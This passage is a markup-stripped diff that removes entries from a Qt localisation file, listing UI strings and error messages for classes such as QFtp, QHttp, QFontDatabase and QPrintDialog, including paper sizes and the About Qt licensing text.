    -        
    -            %1 KB
    -            %1 KB
    -        
    -        
    -            %1 bytes
    -            %1 bytes
    -        
    -        
    -            Invalid filename
    -            Invalid filename
    -        
    -        
    -            <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -            <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -        
    -        
    -            Name
    -            Name
    -        
    -        
    -            Size
    -            Size
    -        
    -        
    -            Kind
    -            Match OS X Finder
    -            Kind
    -        
    -        
    -            Type
    -            All other platforms
    -            Type
    -        
    -        
    -            Date Modified
    -            Date Modified
    -        
    -        
    -            My Computer
    -            My Computer
    -        
    -        
    -            Computer
    -            Computer
    -        
    -        
    -            %1 byte(s)
    -            %1 byte(s)
    -        
    -    
    -    
    -        QFontDatabase
    -        
    -            Normal
    -            Normal
    -        
    -        
    -            Bold
    -            Bold
    -        
    -        
    -            Demi Bold
    -            Demi Bold
    -        
    -        
    -            Black
    -            Black
    -        
    -        
    -            Demi
    -            Demi
    -        
    -        
    -            Light
    -            Light
    -        
    -        
    -            Italic
    -            Italic
    -        
    -        
    -            Oblique
    -            Oblique
    -        
    -        
    -            Any
    -            Any
    -        
    -        
    -            Latin
    -            Latin
    -        
    -        
    -            Greek
    -            Greek
    -        
    -        
    -            Cyrillic
    -            Cyrillic
    -        
    -        
    -            Armenian
    -            Armenian
    -        
    -        
    -            Hebrew
    -            Hebrew
    -        
    -        
    -            Arabic
    -            Arabic
    -        
    -        
    -            Syriac
    -            Syriac
    -        
    -        
    -            Thaana
    -            Thaana
    -        
    -        
    -            Devanagari
    -            Devanagari
    -        
    -        
    -            Bengali
    -            Bengali
    -        
    -        
    -            Gurmukhi
    -            Gurmukhi
    -        
    -        
    -            Gujarati
    -            Gujarati
    -        
    -        
    -            Oriya
    -            Oriya
    -        
    -        
    -            Tamil
    -            Tamil
    -        
    -        
    -            Telugu
    -            Telugu
    -        
    -        
    -            Kannada
    -            Kannada
    -        
    -        
    -            Malayalam
    -            Malayalam
    -        
    -        
    -            Sinhala
    -            Sinhala
    -        
    -        
    -            Thai
    -            Thai
    -        
    -        
    -            Lao
    -            Lao
    -        
    -        
    -            Tibetan
    -            Tibetan
    -        
    -        
    -            Myanmar
    -            Myanmar
    -        
    -        
    -            Georgian
    -            Georgian
    -        
    -        
    -            Khmer
    -            Khmer
    -        
    -        
    -            Simplified Chinese
    -            Simplified Chinese
    -        
    -        
    -            Traditional Chinese
    -            Traditional Chinese
    -        
    -        
    -            Japanese
    -            Japanese
    -        
    -        
    -            Korean
    -            Korean
    -        
    -        
    -            Vietnamese
    -            Vietnamese
    -        
    -        
    -            Symbol
    -            Symbol
    -        
    -        
    -            Ogham
    -            Ogham
    -        
    -        
    -            Runic
    -            Runic
    -        
    -        
    -            N'Ko
    -            N'Ko
    -        
    -    
    -    
    -        QFontDialog
    -        
    -            &Font
    -            &Font
    -        
    -        
    -            Font st&yle
    -            Font st&yle
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Effects
    -            Effects
    -        
    -        
    -            Stri&keout
    -            Stri&keout
    -        
    -        
    -            &Underline
    -            &Underline
    -        
    -        
    -            Sample
    -            Sample
    -        
    -        
    -            Select Font
    -            Select Font
    -        
    -        
    -            Wr&iting System
    -            Wr&iting System
    -        
    -    
    -    
    -        QFtp
    -        
    -            Host %1 found
    -            Host %1 found
    -        
    -        
    -            Host found
    -            Host found
    -        
    -        
    -            Connected to host %1
    -            Connected to host %1
    -        
    -        
    -            Connected to host
    -            Connected to host
    -        
    -        
    -            Connection to %1 closed
    -            Connection to %1 closed
    -        
    -        
    -            Connection closed
    -            Connection closed
    -        
    -        
    -            Host %1 not found
    -            Host %1 not found
    -        
    -        
    -            Connection refused to host %1
    -            Connection refused to host %1
    -        
    -        
    -            Connection timed out to host %1
    -            Connection timed out to host %1
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            Connecting to host failed:
    -%1
    -            Connecting to host failed:
    -%1
    -        
    -        
    -            Login failed:
    -%1
    -            Login failed:
    -%1
    -        
    -        
    -            Listing directory failed:
    -%1
    -            Listing directory failed:
    -%1
    -        
    -        
    -            Changing directory failed:
    -%1
    -            Changing directory failed:
    -%1
    -        
    -        
    -            Downloading file failed:
    -%1
    -            Downloading file failed:
    -%1
    -        
    -        
    -            Uploading file failed:
    -%1
    -            Uploading file failed:
    -%1
    -        
    -        
    -            Removing file failed:
    -%1
    -            Removing file failed:
    -%1
    -        
    -        
    -            Creating directory failed:
    -%1
    -            Creating directory failed:
    -%1
    -        
    -        
    -            Removing directory failed:
    -%1
    -            Removing directory failed:
    -%1
    -        
    -        
    -            Not connected
    -            Not connected
    -        
    -        
    -            Connection refused for data connection
    -            Connection refused for data connection
    -        
    -    
    -    
    -        QHostInfo
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QHostInfoAgent
    -        
    -            Host not found
    -            Host not found
    -        
    -        
    -            Unknown address type
    -            Unknown address type
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            No host name given
    -            No host name given
    -        
    -        
    -            Invalid hostname
    -            Invalid hostname
    -        
    -    
    -    
    -        QHttp
    -        
    -            Connection refused
    -            Connection refused
    -        
    -        
    -            Host %1 not found
    -            Host %1 not found
    -        
    -        
    -            Wrong content length
    -            Wrong content length
    -        
    -        
    -            HTTP request failed
    -            HTTP request failed
    -        
    -        
    -            Host %1 found
    -            Host %1 found
    -        
    -        
    -            Host found
    -            Host found
    -        
    -        
    -            Connected to host %1
    -            Connected to host %1
    -        
    -        
    -            Connected to host
    -            Connected to host
    -        
    -        
    -            Connection to %1 closed
    -            Connection to %1 closed
    -        
    -        
    -            Connection closed
    -            Connection closed
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            Request aborted
    -            Request aborted
    -        
    -        
    -            No server set to connect to
    -            No server set to connect to
    -        
    -        
    -            Server closed connection unexpectedly
    -            Server closed connection unexpectedly
    -        
    -        
    -            Invalid HTTP response header
    -            Invalid HTTP response header
    -        
    -        
    -            Unknown authentication method
    -            Unknown authentication method
    -        
    -        
    -            Invalid HTTP chunked body
    -            Invalid HTTP chunked body
    -        
    -        
    -            Error writing response to device
    -            Error writing response to device
    -        
    -        
    -            Proxy authentication required
    -            Proxy authentication required
    -        
    -        
    -            Authentication required
    -            Authentication required
    -        
    -        
    -            Proxy requires authentication
    -            Proxy requires authentication
    -        
    -        
    -            Host requires authentication
    -            Host requires authentication
    -        
    -        
    -            Data corrupted
    -            Data corrupted
    -        
    -        
    -            SSL handshake failed
    -            SSL handshake failed
    -        
    -        
    -            Unknown protocol specified
    -            Unknown protocol specified
    -        
    -        
    -            Connection refused (or timed out)
    -            Connection refused (or timed out)
    -        
    -        
    -            HTTPS connection requested but SSL support not compiled in
    -            HTTPS connection requested but SSL support not compiled in
    -        
    -    
    -    
    -        QHttpSocketEngine
    -        
    -            Did not receive HTTP response from proxy
    -            Did not receive HTTP response from proxy
    -        
    -        
    -            Error parsing authentication request from proxy
    -            Error parsing authentication request from proxy
    -        
    -        
    -            Authentication required
    -            Authentication required
    -        
    -        
    -            Proxy denied connection
    -            Proxy denied connection
    -        
    -        
    -            Error communicating with HTTP proxy
    -            Error communicating with HTTP proxy
    -        
    -        
    -            Proxy server not found
    -            Proxy server not found
    -        
    -        
    -            Proxy connection refused
    -            Proxy connection refused
    -        
    -        
    -            Proxy server connection timed out
    -            Proxy server connection timed out
    -        
    -        
    -            Proxy connection closed prematurely
    -            Proxy connection closed prematurely
    -        
    -    
    -    
    -        QIBaseDriver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Could not start transaction
    -            Could not start transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QIBaseResult
    -        
    -            Unable to create BLOB
    -            Unable to create BLOB
    -        
    -        
    -            Unable to write BLOB
    -            Unable to write BLOB
    -        
    -        
    -            Unable to open BLOB
    -            Unable to open BLOB
    -        
    -        
    -            Unable to read BLOB
    -            Unable to read BLOB
    -        
    -        
    -            Could not find array
    -            Could not find array
    -        
    -        
    -            Could not get array data
    -            Could not get array data
    -        
    -        
    -            Could not get query info
    -            Could not get query info
    -        
    -        
    -            Could not start transaction
    -            Could not start transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Could not allocate statement
    -            Could not allocate statement
    -        
    -        
    -            Could not prepare statement
    -            Could not prepare statement
    -        
    -        
    -            Could not describe input statement
    -            Could not describe input statement
    -        
    -        
    -            Could not describe statement
    -            Could not describe statement
    -        
    -        
    -            Unable to close statement
    -            Unable to close statement
    -        
    -        
    -            Unable to execute query
    -            Unable to execute query
    -        
    -        
    -            Could not fetch next item
    -            Could not fetch next item
    -        
    -        
    -            Could not get statement info
    -            Could not get statement info
    -        
    -    
    -    
    -        QIODevice
    -        
    -            Permission denied
    -            Permission denied
    -        
    -        
    -            Too many open files
    -            Too many open files
    -        
    -        
    -            No such file or directory
    -            No such file or directory
    -        
    -        
    -            No space left on device
    -            No space left on device
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QInputContext
    -        
    -            XIM
    -            XIM
    -        
    -        
    -            FEP
    -            FEP
    -        
    -        
    -            XIM input method
    -            XIM input method
    -        
    -        
    -            Windows input method
    -            Windows input method
    -        
    -        
    -            Mac OS X input method
    -            Mac OS X input method
    -        
    -        
    -            S60 FEP input method
    -            S60 FEP input method
    -        
    -    
    -    
    -        QInputDialog
    -        
    -            Enter a value:
    -            Enter a value:
    -        
    -    
    -    
    -        QLibrary
    -        
    -            Could not mmap '%1': %2
    -            Could not mmap '%1': %2
    -        
    -        
    -            Plugin verification data mismatch in '%1'
    -            Plugin verification data mismatch in '%1'
    -        
    -        
    -            Could not unmap '%1': %2
    -            Could not unmap '%1': %2
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -            The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -            The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The shared library was not found.
    -            The shared library was not found.
    -        
    -        
    -            The file '%1' is not a valid Qt plugin.
    -            The file '%1' is not a valid Qt plugin.
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -            The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -        
    -        
    -            Cannot load library %1: %2
    -            Cannot load library %1: %2
    -        
    -        
    -            Cannot unload library %1: %2
    -            Cannot unload library %1: %2
    -        
    -        
    -            Cannot resolve symbol "%1" in %2: %3
    -            Cannot resolve symbol "%1" in %2: %3
    -        
    -    
    -    
    -        QLineEdit
    -        
    -            Select All
    -            Select All
    -        
    -        
    -            &Undo
    -            &Undo
    -        
    -        
    -            &Redo
    -            &Redo
    -        
    -        
    -            Cu&t
    -            Cu&t
    -        
    -        
    -            &Copy
    -            &Copy
    -        
    -        
    -            &Paste
    -            &Paste
    -        
    -        
    -            Delete
    -            Delete
    -        
    -    
    -    
    -        QLocalServer
    -        
    -            %1: Name error
    -            %1: Name error
    -        
    -        
    -            %1: Permission denied
    -            %1: Permission denied
    -        
    -        
    -            %1: Address in use
    -            %1: Address in use
    -        
    -        
    -            %1: Unknown error %2
    -            %1: Unknown error %2
    -        
    -    
    -    
    -        QLocalSocket
    -        
    -            %1: Connection refused
    -            %1: Connection refused
    -        
    -        
    -            %1: Remote closed
    -            %1: Remote closed
    -        
    -        
    -            %1: Invalid name
    -            %1: Invalid name
    -        
    -        
    -            %1: Socket access error
    -            %1: Socket access error
    -        
    -        
    -            %1: Socket resource error
    -            %1: Socket resource error
    -        
    -        
    -            %1: Socket operation timed out
    -            %1: Socket operation timed out
    -        
    -        
    -            %1: Datagram too large
    -            %1: Datagram too large
    -        
    -        
    -            %1: Connection error
    -            %1: Connection error
    -        
    -        
    -            %1: The socket operation is not supported
    -            %1: The socket operation is not supported
    -        
    -        
    -            %1: Unknown error
    -            %1: Unknown error
    -        
    -        
    -            %1: Unknown error %2
    -            %1: Unknown error %2
    -        
    -    
    -    
    -        QMYSQLDriver
    -        
    -            Unable to open database '
    -            Unable to open database '
    -        
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QMYSQLResult
    -        
    -            Unable to fetch data
    -            Unable to fetch data
    -        
    -        
    -            Unable to execute query
    -            Unable to execute query
    -        
    -        
    -            Unable to store result
    -            Unable to store result
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to reset statement
    -            Unable to reset statement
    -        
    -        
    -            Unable to bind value
    -            Unable to bind value
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to bind outvalues
    -            Unable to bind outvalues
    -        
    -        
    -            Unable to store statement results
    -            Unable to store statement results
    -        
    -        
    -            Unable to execute next query
    -            Unable to execute next query
    -        
    -        
    -            Unable to store next result
    -            Unable to store next result
    -        
    -    
    -    
    -        QMdiArea
    -        
    -            (Untitled)
    -            (Untitled)
    -        
    -    
    -    
    -        QMdiSubWindow
    -        
    -            %1 - [%2]
    -            %1 - [%2]
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Minimize
    -            Minimize
    -        
    -        
    -            Restore Down
    -            Restore Down
    -        
    -        
    -            &Restore
    -            &Restore
    -        
    -        
    -            &Move
    -            &Move
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Mi&nimize
    -            Mi&nimize
    -        
    -        
    -            Ma&ximize
    -            Ma&ximize
    -        
    -        
    -            Stay on &Top
    -            Stay on &Top
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Maximize
    -            Maximize
    -        
    -        
    -            Unshade
    -            Unshade
    -        
    -        
    -            Shade
    -            Shade
    -        
    -        
    -            Restore
    -            Restore
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Menu
    -            Menu
    -        
    -        
    -            - [%1]
    -            - [%1]
    -        
    -    
    -    
    -        QMenu
    -        
    -            Close
    -            Close
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Execute
    -            Execute
    -        
    -    
    -    
    -        QMenuBar
    -        
    -            Actions
    -            Actions
    -        
    -    
    -    
    -        QMessageBox
    -        
    -            OK
    -            OK
    -        
    -        
    -            <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    -            <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    -        
    -        
    -            <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -            <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        
    -        
    -            About Qt
    -            About Qt
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Show Details...
    -            Show Details...
    -        
    -        
    -            Hide Details...
    -            Hide Details...
    -        
    -    
    -    
    -        QMultiInputContext
    -        
    -            Select IM
    -            Select IM
    -        
    -    
    -    
    -        QMultiInputContextPlugin
    -        
    -            Multiple input method switcher
    -            Multiple input method switcher
    -        
    -        
    -            Multiple input method switcher that uses the context menu of the text widgets
    -            Multiple input method switcher that uses the context menu of the text widgets
    -        
    -    
    -    
    -        QNativeSocketEngine
    -        
    -            The remote host closed the connection
    -            The remote host closed the connection
    -        
    -        
    -            Network operation timed out
    -            Network operation timed out
    -        
    -        
    -            Out of resources
    -            Out of resources
    -        
    -        
    -            Unsupported socket operation
    -            Unsupported socket operation
    -        
    -        
    -            Protocol type not supported
    -            Protocol type not supported
    -        
    -        
    -            Invalid socket descriptor
    -            Invalid socket descriptor
    -        
    -        
    -            Network unreachable
    -            Network unreachable
    -        
    -        
    -            Permission denied
    -            Permission denied
    -        
    -        
    -            Connection timed out
    -            Connection timed out
    -        
    -        
    -            Connection refused
    -            Connection refused
    -        
    -        
    -            The bound address is already in use
    -            The bound address is already in use
    -        
    -        
    -            The address is not available
    -            The address is not available
    -        
    -        
    -            The address is protected
    -            The address is protected
    -        
    -        
    -            Unable to send a message
    -            Unable to send a message
    -        
    -        
    -            Unable to receive a message
    -            Unable to receive a message
    -        
    -        
    -            Unable to write
    -            Unable to write
    -        
    -        
    -            Network error
    -            Network error
    -        
    -        
    -            Another socket is already listening on the same port
    -            Another socket is already listening on the same port
    -        
    -        
    -            Unable to initialize non-blocking socket
    -            Unable to initialize non-blocking socket
    -        
    -        
    -            Unable to initialize broadcast socket
    -            Unable to initialize broadcast socket
    -        
    -        
    -            Attempt to use IPv6 socket on a platform with no IPv6 support
    -            Attempt to use IPv6 socket on a platform with no IPv6 support
    -        
    -        
    -            Host unreachable
    -            Host unreachable
    -        
    -        
    -            Datagram was too large to send
    -            Datagram was too large to send
    -        
    -        
    -            Operation on non-socket
    -            Operation on non-socket
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The proxy type is invalid for this operation
    -            The proxy type is invalid for this operation
    -        
    -    
    -    
    -        QNetworkAccessCacheBackend
    -        
    -            Error opening %1
    -            Error opening %1
    -        
    -    
    -    
    -        QNetworkAccessDebugPipeBackend
    -        
    -            Write error writing to %1: %2
    -            Write error writing to %1: %2
    -        
    -    
    -    
    -        QNetworkAccessFileBackend
    -        
    -            Request for opening non-local file %1
    -            Request for opening non-local file %1
    -        
    -        
    -            Error opening %1: %2
    -            Error opening %1: %2
    -        
    -        
    -            Write error writing to %1: %2
    -            Write error writing to %1: %2
    -        
    -        
    -            Cannot open %1: Path is a directory
    -            Cannot open %1: Path is a directory
    -        
    -        
    -            Read error reading from %1: %2
    -            Read error reading from %1: %2
    -        
    -    
    -    
    -        QNetworkAccessFtpBackend
    -        
    -            No suitable proxy found
    -            No suitable proxy found
    -        
    -        
    -            Cannot open %1: is a directory
    -            Cannot open %1: is a directory
    -        
    -        
    -            Logging in to %1 failed: authentication required
    -            Logging in to %1 failed: authentication required
    -        
    -        
    -            Error while downloading %1: %2
    -            Error while downloading %1: %2
    -        
    -        
    -            Error while uploading %1: %2
    -            Error while uploading %1: %2
    -        
    -    
    -    
    -        QNetworkAccessHttpBackend
    -        
    -            No suitable proxy found
    -            No suitable proxy found
    -        
    -    
    -    
    -        QNetworkReply
    -        
    -            Error downloading %1 - server replied: %2
    -            Error downloading %1 - server replied: %2
    -        
    -        
    -            Protocol "%1" is unknown
    -            Protocol "%1" is unknown
    -        
    -    
    -    
    -        QNetworkReplyImpl
    -        
    -            Operation canceled
    -            Operation canceled
    -        
    -    
    -    
    -        QOCIDriver
    -        
    -            Unable to logon
    -            Unable to logon
    -        
    -        
    -            Unable to initialize
    -            QOCIDriver
    -            Unable to initialize
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QOCIResult
    -        
    -            Unable to bind column for batch execute
    -            Unable to bind column for batch execute
    -        
    -        
    -            Unable to execute batch statement
    -            Unable to execute batch statement
    -        
    -        
    -            Unable to goto next
    -            Unable to goto next
    -        
    -        
    -            Unable to alloc statement
    -            Unable to alloc statement
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to get statement type
    -            Unable to get statement type
    -        
    -        
    -            Unable to bind value
    -            Unable to bind value
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -    
    -    
    -        QODBCDriver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to disable autocommit
    -            Unable to disable autocommit
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -        
    -            Unable to enable autocommit
    -            Unable to enable autocommit
    -        
    -        
    -            Unable to connect - Driver doesn't support all functionality required
    -            Unable to connect - Driver doesn't support all functionality required
    -        
    -    
    -    
    -        QODBCResult
    -        
    -            QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -            QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to fetch next
    -            Unable to fetch next
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to bind variable
    -            Unable to bind variable
    -        
    -        
    -            Unable to fetch last
    -            Unable to fetch last
    -        
    -        
    -            Unable to fetch
    -            Unable to fetch
    -        
    -        
    -            Unable to fetch first
    -            Unable to fetch first
    -        
    -        
    -            Unable to fetch previous
    -            Unable to fetch previous
    -        
    -    
    -    
    -        QObject
    -        
    -            Invalid hostname
    -            Invalid hostname
    -        
    -        
    -            Operation not supported on %1
    -            Operation not supported on %1
    -        
    -        
    -            Invalid URI: %1
    -            Invalid URI: %1
    -        
    -        
    -            Socket error on %1: %2
    -            Socket error on %1: %2
    -        
    -        
    -            Remote host closed the connection prematurely on %1
    -            Remote host closed the connection prematurely on %1
    -        
    -        
    -            No host name given
    -            No host name given
    -        
    -    
    -    
    -        QPPDOptionsModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Value
    -            Value
    -        
    -    
    -    
    -        QPSQLDriver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Could not begin transaction
    -            Could not begin transaction
    -        
    -        
    -            Could not commit transaction
    -            Could not commit transaction
    -        
    -        
    -            Could not rollback transaction
    -            Could not rollback transaction
    -        
    -        
    -            Unable to subscribe
    -            Unable to subscribe
    -        
    -        
    -            Unable to unsubscribe
    -            Unable to unsubscribe
    -        
    -    
    -    
    -        QPSQLResult
    -        
    -            Unable to create query
    -            Unable to create query
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -    
    -    
    -        QPageSetupWidget
    -        
    -            Centimeters (cm)
    -            Centimeters (cm)
    -        
    -        
    -            Millimeters (mm)
    -            Millimeters (mm)
    -        
    -        
    -            Inches (in)
    -            Inches (in)
    -        
    -        
    -            Points (pt)
    -            Points (pt)
    -        
    -        
    -            Form
    -            Form
    -        
    -        
    -            Paper
    -            Paper
    -        
    -        
    -            Page size:
    -            Page size:
    -        
    -        
    -            Width:
    -            Width:
    -        
    -        
    -            Height:
    -            Height:
    -        
    -        
    -            Paper source:
    -            Paper source:
    -        
    -        
    -            Orientation
    -            Orientation
    -        
    -        
    -            Portrait
    -            Portrait
    -        
    -        
    -            Landscape
    -            Landscape
    -        
    -        
    -            Reverse landscape
    -            Reverse landscape
    -        
    -        
    -            Reverse portrait
    -            Reverse portrait
    -        
    -        
    -            Margins
    -            Margins
    -        
    -        
    -            top margin
    -            top margin
    -        
    -        
    -            left margin
    -            left margin
    -        
    -        
    -            right margin
    -            right margin
    -        
    -        
    -            bottom margin
    -            bottom margin
    -        
    -    
    -    
    -        QPluginLoader
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The plugin was not loaded.
    -            The plugin was not loaded.
    -        
    -    
    -    
    -        QPrintDialog
    -        
    -            locally connected
    -            locally connected
    -        
    -        
    -            Aliases: %1
    -            Aliases: %1
    -        
    -        
    -            unknown
    -            unknown
    -        
    -        
    -            OK
    -            OK
    -        
    -        
    -            Print all
    -            Print all
    -        
    -        
    -            Print range
    -            Print range
    -        
    -        
    -            A0 (841 x 1189 mm)
    -            A0 (841 x 1189 mm)
    -        
    -        
    -            A1 (594 x 841 mm)
    -            A1 (594 x 841 mm)
    -        
    -        
    -            A2 (420 x 594 mm)
    -            A2 (420 x 594 mm)
    -        
    -        
    -            A3 (297 x 420 mm)
    -            A3 (297 x 420 mm)
    -        
    -        
    -            A5 (148 x 210 mm)
    -            A5 (148 x 210 mm)
    -        
    -        
    -            A6 (105 x 148 mm)
    -            A6 (105 x 148 mm)
    -        
    -        
    -            A7 (74 x 105 mm)
    -            A7 (74 x 105 mm)
    -        
    -        
    -            A8 (52 x 74 mm)
    -            A8 (52 x 74 mm)
    -        
    -        
    -            A9 (37 x 52 mm)
    -            A9 (37 x 52 mm)
    -        
    -        
    -            B0 (1000 x 1414 mm)
    -            B0 (1000 x 1414 mm)
    -        
    -        
    -            B1 (707 x 1000 mm)
    -            B1 (707 x 1000 mm)
    -        
    -        
    -            B2 (500 x 707 mm)
    -            B2 (500 x 707 mm)
    -        
    -        
    -            B3 (353 x 500 mm)
    -            B3 (353 x 500 mm)
    -        
    -        
    -            B4 (250 x 353 mm)
    -            B4 (250 x 353 mm)
    -        
    -        
    -            B6 (125 x 176 mm)
    -            B6 (125 x 176 mm)
    -        
    -        
    -            B7 (88 x 125 mm)
    -            B7 (88 x 125 mm)
    -        
    -        
    -            B8 (62 x 88 mm)
    -            B8 (62 x 88 mm)
    -        
    -        
    -            B9 (44 x 62 mm)
    -            B9 (44 x 62 mm)
    -        
    -        
    -            B10 (31 x 44 mm)
    -            B10 (31 x 44 mm)
    -        
    -        
    -            C5E (163 x 229 mm)
    -            C5E (163 x 229 mm)
    -        
    -        
    -            DLE (110 x 220 mm)
    -            DLE (110 x 220 mm)
    -        
    -        
    -            Folio (210 x 330 mm)
    -            Folio (210 x 330 mm)
    -        
    -        
    -            Ledger (432 x 279 mm)
    -            Ledger (432 x 279 mm)
    -        
    -        
    -            Tabloid (279 x 432 mm)
    -            Tabloid (279 x 432 mm)
    -        
    -        
    -            US Common #10 Envelope (105 x 241 mm)
    -            US Common #10 Envelope (105 x 241 mm)
    -        
    -        
    -            A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -            A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -        
    -        
    -            B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -            B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -        
    -        
    -            Executive (7.5 x 10 inches, 191 x 254 mm)
    -            Executive (7.5 x 10 inches, 191 x 254 mm)
    -        
    -        
    -            Legal (8.5 x 14 inches, 216 x 356 mm)
    -            Legal (8.5 x 14 inches, 216 x 356 mm)
    -        
    -        
    -            Letter (8.5 x 11 inches, 216 x 279 mm)
    -            Letter (8.5 x 11 inches, 216 x 279 mm)
    -        
    -        
    -            Print selection
    -            Print selection
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            Print To File ...
    -            Print To File ...
    -        
    -        
    -            File %1 is not writable.
    -Please choose a different file name.
    -            File %1 is not writable.
    -Please choose a different file name.
    -        
    -        
    -            %1 already exists.
    -Do you want to overwrite it?
    -            %1 already exists.
    -Do you want to overwrite it?
    -        
    -        
    -            File exists
    -            File exists
    -        
    -        
    -            <qt>Do you want to overwrite it?</qt>
    -            <qt>Do you want to overwrite it?</qt>
    -        
    -        
    -            %1 is a directory.
    -Please choose a different file name.
    -            %1 is a directory.
    -Please choose a different file name.
    -        
    -        
    -            The 'From' value cannot be greater than the 'To' value.
    -            The 'From' value cannot be greater than the 'To' value.
    -        
    -        
    -            A0
    -            A0
    -        
    -        
    -            A1
    -            A1
    -        
    -        
    -            A2
    -            A2
    -        
    -        
    -            A3
    -            A3
    -        
    -        
    -            A4
    -            A4
    -        
    -        
    -            A5
    -            A5
    -        
    -        
    -            A6
    -            A6
    -        
    -        
